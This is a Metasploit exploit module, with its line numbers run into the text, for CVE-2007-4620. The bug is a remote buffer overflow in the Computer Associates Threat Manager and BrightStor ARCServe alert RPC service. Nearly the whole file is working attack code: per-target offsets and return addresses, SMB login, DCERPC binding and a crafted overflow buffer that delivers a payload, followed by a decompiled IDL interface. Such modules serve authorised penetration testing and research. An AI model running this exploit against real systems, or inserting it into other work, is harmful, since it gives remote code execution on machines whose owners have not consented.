Path: blob/master/modules/exploits/windows/brightstor/etrust_itm_alert.rb
19813 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::DCERPC9include Msf::Exploit::Remote::SMB::Client1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Computer Associates Alert Notification Buffer Overflow',16'Description' => %q{17This module exploits a buffer overflow in Computer Associates Threat Manager for the Enterprise r8.118By sending a specially crafted RPC request, an attacker could overflow the buffer and execute arbitrary code.19In order to successfully exploit this vulnerability, you will need valid logon credentials to the target.20},21'Author' => [ 'MC' ],22'License' => MSF_LICENSE,23'References' => [24[ 'CVE', '2007-4620' ],25[ 'OSVDB', '44040' ],26[ 'BID', '28605' ],27],28'Privileged' => true,29'DefaultOptions' => {30'EXITFUNC' => 'thread',31},32'Payload' => {33'Space' => 550,34'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",35'StackAdjustment' => -3500,36},37'Platform' => 'win',38'Targets' => [39[ 'Windows 2003 SP0 English', { 'Offset' => 979, 'Ret' => 0x77e03efb } ],40[ 'Windows 2000 SP4 English', { 'Offset' => 979, 'Ret' => 0x7c30d043 } ],41[ 'CA BrightStor ARCServe Backup 11.5 / Windows 2000 SP4 English', { 'Offset' => 207, 'Ret' => 0x7c2e7993 } ], # Yin Dehui42],43'DisclosureDate' => '2008-04-04',44'DefaultTarget' => 0,45'Notes' => {46'Reliability' => UNKNOWN_RELIABILITY,47'Stability' => UNKNOWN_STABILITY,48'SideEffects' => UNKNOWN_SIDE_EFFECTS49}50)51)5253register_options(54[55OptString.new('SMBPIPE', [ true, "The pipe name to use (alert)", 'alert']),56]57)58end5960def exploit61connect()62smb_login()6364handle = dcerpc_handle('3d742890-397c-11cf-9bf1-00805f88cb72', '1.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])65print_status("Binding to #{handle} ...")6667dcerpc_bind(handle)68print_status("Bound to #{handle} ...")6970filler = rand_text_english(target['Offset']) + [target.ret].pack('V') + make_nops(12)71filler << payload.encoded + rand_text_english(772)7273sploit = NDR.string(rand_text_english(rand(1024) + 1) + "\x00") + NDR.string(filler + "\x00")74sploit << NDR.string(rand_text_english(rand(1024) + 1) + "\x00") + NDR.long(0)7576print_status("Trying target #{target.name}...")7778begin79dcerpc_call(0x00, sploit)80rescue Rex::Proto::DCERPC::Exceptions::NoResponse81end8283handler84disconnect85end86end8788=begin89/*90* IDL code generated by mIDA v1.0.891* Copyright (C) 2006, Tenable Network Security92* http://cgi.tenablesecurity.com/tenable/mida.php93*94*95* Decompilation information:96* RPC stub type: inline97*/9899[ uuid(3d742890-397c-11cf-9bf1-00805f88cb72), version(1.0) ]100101interface mIDA_interface102{103typedef struct struct_1 {104long elem_1;105[size_is(10000), length_is(elem_1)] struct struct_2 * elem_2;106} struct_1 ;107108typedef struct struct_2 {109char elem_1[52];110} struct_2 ;111112113/* opcode: 0x00, address: 0x00401000 */114115long sub_401000 (116[in][ref][string] char * arg_1,117[out][ref] struct struct_1 * arg_2,118[in][ref][string] char * arg_3119);120121}122=end123124125